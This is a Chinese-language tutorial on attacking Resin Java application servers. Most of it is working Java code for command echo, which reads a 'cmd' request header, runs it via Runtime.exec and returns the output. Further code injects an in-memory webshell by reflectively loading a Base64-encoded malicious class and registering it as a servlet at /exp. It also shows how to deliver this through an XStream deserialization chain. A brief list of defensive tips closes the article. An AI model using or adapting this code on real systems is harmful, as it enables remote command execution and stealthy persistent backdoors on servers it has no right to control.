Resin回显及内存马
字数 1316 2025-08-05 08:17:46
Resin回显及内存马技术详解
一、Resin回显技术
1. 通过ThreadLocal获取Request对象
Resin中间件将request对象存储在线程对象的threadLocals属性中,可以通过反射获取:
try {
// 获取当前线程的threadLocals字段
Field f = Thread.currentThread().getClass().getSuperclass().getDeclaredField("threadLocals");
f.setAccessible(true);
Object obj = f.get(Thread.currentThread());
// 获取threadLocals中的table数组
f = obj.getClass().getDeclaredField("table");
f.setAccessible(true);
obj = f.get(obj);
// 遍历table数组查找HttpRequest对象
Object[] obj_arr = (Object[]) obj;
for(int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
f = o.getClass().getDeclaredField("value");
f.setAccessible(true);
obj = f.get(o);
if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")){
com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;
String cmd = httpRequest.getHeader("cmd");
if(cmd != null && !cmd.isEmpty()){
// 执行命令并回显结果
String resp = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next();
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
httpResponse.setHeader("Content-Length", resp.length() + "");
// 通过反射获取响应流并写入结果
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
method.setAccessible(true);
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
httpResponseStream.write(resp.getBytes(), 0, resp.length());
httpResponseStream.close();
}
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
2. 通过TcpSocketLink类获取Request对象
Resin还提供了com.caucho.network.listen.TcpSocketLink类来获取当前Request:
Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke(null);
// 获取response并写入回显
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object response = f.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer w = (Writer) getWriterM.invoke(response);
w.write("powered by potatso");
3. 通过ServletInvocation获取Request对象
另一种方式是使用com.caucho.server.dispatch.ServletInvocation类:
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl)getContextRequest.invoke(null);
if (req.getHeader("cmd") != null) {
String cmd = req.getHeader("cmd");
javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
PrintWriter out = rep.getWriter();
out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next());
}
二、Resin内存马技术
1. 动态注册Servlet
在Resin中动态注册Servlet需要以下步骤:
- 获取ServletContext
- 创建ServletMapping对象
- 设置Servlet名称和类
- 添加URL模式
- 将ServletMapping添加到WebApp中
完整代码:
// 获取ServletContext
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null);
com.caucho.server.webapp.WebApp web = (com.caucho.server.webapp.WebApp) contextRequest.getServletContext();
// 创建并配置ServletMapping
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
// 动态加载恶意类
String s1="your class"; // Base64编码的恶意类字节码
byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());
// 使用defineClass动态加载类
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{"cb.servletExp", bytes1, 0, bytes1.length});
// 配置Servlet
smapping.setServletClass("cb.servletExp");
smapping.setServletName("exp");
smapping.addURLPattern("/exp");
// 注册Servlet
web.addServletMapping(smapping);
2. 关键类说明
com.caucho.server.webapp.WebApp: Resin的Web应用类,继承自ServletContextcom.caucho.server.dispatch.ServletConfigImpl: Servlet配置实现类com.caucho.server.dispatch.ServletMapping: Servlet映射类,继承自ServletConfigImplcom.caucho.server.dispatch.ServletMapper: 存储路由的类
3. 注册流程分析
- 正常请求会经过
com.caucho.server.dispatch.ServletInvocation - 通过
ServletInvocation.getContextRequest()获取ServletRequest - 从ServletRequest获取ServletContext并转换为WebApp
- 创建ServletMapping对象并设置相关属性
- 调用WebApp的addServletMapping方法完成注册
三、实战应用
1. 在Xstream反序列化漏洞中的应用
对于存在Xstream反序列化漏洞的系统,可以修改CommonsBeanutils1链来实现回显或内存马注入。
回显关键代码:
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl)getContextRequest.invoke(null);
try {
if (req.getHeader("cmd") != null) {
String cmd = req.getHeader("cmd");
javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
PrintWriter out = rep.getWriter();
out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next());
}
} catch (Exception e) {
e.printStackTrace();
}
内存马注入代码:
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null);
Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext");
Object web = getServletContext.invoke(contextRequest);
com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web;
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
// 动态加载恶意类代码...
// 配置并注册Servlet...
四、防御建议
- 限制反射操作,特别是对系统关键类的反射
- 监控动态类加载行为
- 检查Servlet、Filter等组件的动态注册
- 及时更新Resin到最新版本
- 实施严格的输入验证和过滤
- 使用安全产品监控内存马行为
五、总结
Resin中间件的回显和内存马技术主要依赖于:
- 通过反射获取当前线程的Request对象
- 利用Resin特有的类(如TcpSocketLink、ServletInvocation)获取上下文
- 通过WebApp类的addServletMapping方法动态注册恶意Servlet
- 结合类动态加载技术实现无文件落地攻击
理解这些技术原理对于安全研究和防御都具有重要意义。